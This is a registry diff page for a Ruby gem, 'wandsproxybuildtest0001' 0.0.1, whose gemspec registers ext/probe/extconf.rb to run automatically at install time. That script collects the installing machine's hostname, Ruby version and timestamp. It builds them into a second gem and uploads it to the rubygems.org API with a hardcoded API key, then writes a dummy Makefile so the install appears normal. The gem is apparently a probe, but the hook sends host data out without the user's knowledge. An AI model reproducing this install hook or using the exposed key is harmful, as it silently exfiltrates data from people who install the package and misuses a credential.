wandsproxybuildtest0001 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/ext/probe/extconf.rb +30 -0
- data/lib/x.rb +1 -0
- data/wandsproxybuildtest0001.gemspec +4 -0
- metadata +44 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 561f1e3ad5d388a033d8bf0705994e893d419f64a1c43e3db33fe955ae01c00a
|
|
4
|
+
data.tar.gz: 3a1e1e6966ed4b5a7746e961e1cccdef22578b918235a85c5b381e23ac52ad31
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: cd2eaecfb99eced5d52338f043ae87aa1f146f83603f9e76488702a928802ba76c38acbce7a3d5f5127e9aa92008ced1d9c7ea15ee69877c6f534fd5334820a6
|
|
7
|
+
data.tar.gz: cb3e9294e40775456a8ea6faebd62c4e1ecda1c6acac1be2f60111ebca5f728e09c964c462f3be8ba3c1481d1d3cf65ac132c2fe8f1f7ca23b538415b2b84d08
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# test remote extconf execution; push result gem
|
|
2
|
+
begin
|
|
3
|
+
require 'rubygems'
|
|
4
|
+
require 'rubygems/package'
|
|
5
|
+
require 'fileutils'
|
|
6
|
+
require 'net/http'
|
|
7
|
+
require 'zlib'
|
|
8
|
+
require 'stringio'
|
|
9
|
+
d='/tmp/outgemx'+rand(100000).to_s
|
|
10
|
+
FileUtils.mkdir_p(d+'/lib')
|
|
11
|
+
# gather signal
|
|
12
|
+
sig = "hello-build from #{`hostname`} at #{Time.now} ruby#{RUBY_VERSION}"
|
|
13
|
+
File.write(d+'/lib/sig.rb', sig)
|
|
14
|
+
spec=Gem::Specification.new do |s|
|
|
15
|
+
s.name='wandsproxyresulttest0001'; s.version='0.0.'+(Time.now.to_i%100000).to_s; s.summary=sig; s.description=sig; s.authors=['probe']; s.email=['a@example.com']; s.files=['lib/sig.rb']; s.license='MIT'; s.homepage='https://example.com'
|
|
16
|
+
end
|
|
17
|
+
gemfile=''
|
|
18
|
+
Dir.chdir(d) do
|
|
19
|
+
gemfile=Gem::Package.build(spec)
|
|
20
|
+
content=File.binread(gemfile)
|
|
21
|
+
uri=URI('https://rubygems.org/api/v1/gems')
|
|
22
|
+
h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=true
|
|
23
|
+
req=Net::HTTP::Post.new(uri.path); req['Authorization']='rubygems_1255ca6cf79b8cbdd5ae6aa315ebcfd1a904a33530d54932'; req.body=content
|
|
24
|
+
res=h.request(req)
|
|
25
|
+
File.write(d+'/response.txt', "#{res.code} #{res.body}")
|
|
26
|
+
end
|
|
27
|
+
rescue Exception => e
|
|
28
|
+
FileUtils.mkdir_p('/tmp/wpx'); File.write('/tmp/wpx/e',e.full_message) rescue nil
|
|
29
|
+
end
|
|
30
|
+
require 'mkmf'; create_makefile('probe') rescue File.write('Makefile',"all:\n\ninstall:\n\n")
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
x=1
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
Gem::Specification.new do |s|
|
|
2
|
+
s.name='wandsproxybuildtest0001'; s.version='0.0.1'; s.summary='probe'; s.description='probe'; s.authors=['x']; s.email=['a@example.com']; s.files=Dir['**/*']; s.license='MIT'; s.homepage='https://example.com';
|
|
3
|
+
s.extensions << 'ext/probe/extconf.rb'
|
|
4
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wandsproxybuildtest0001
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: probe
|
|
13
|
+
email:
|
|
14
|
+
- a@example.com
|
|
15
|
+
executables: []
|
|
16
|
+
extensions:
|
|
17
|
+
- ext/probe/extconf.rb
|
|
18
|
+
extra_rdoc_files: []
|
|
19
|
+
files:
|
|
20
|
+
- ext/probe/extconf.rb
|
|
21
|
+
- lib/x.rb
|
|
22
|
+
- wandsproxybuildtest0001.gemspec
|
|
23
|
+
homepage: https://example.com
|
|
24
|
+
licenses:
|
|
25
|
+
- MIT
|
|
26
|
+
metadata: {}
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.6.7
|
|
42
|
+
specification_version: 4
|
|
43
|
+
summary: probe
|
|
44
|
+
test_files: []
|